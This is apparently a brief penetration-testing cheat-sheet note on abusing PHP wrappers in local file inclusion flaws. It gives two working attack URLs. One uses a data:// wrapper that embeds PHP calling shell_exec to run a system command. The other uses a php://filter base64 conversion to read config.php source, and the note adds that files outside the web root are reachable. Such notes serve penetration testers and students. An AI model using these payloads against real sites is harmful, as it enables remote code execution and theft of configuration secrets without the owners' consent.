PHP wrappers are useful in directory traversal and local file inclusion vulnerabilities in encoding special characters and even achieving RCE.
RCE through data wrapper
rce02-initial-access Relies on PHP LFI to actually interpret the code.
http://example.com/index.php?file=data:text/plain,<?php echo shell_exec("dir") ?>Encode Data through conversion filter
http://example.com/index.php?file=php://filter/convert.base64-encode/resource=config.phpFiles outside of web root may also be accessed through the resource parameter.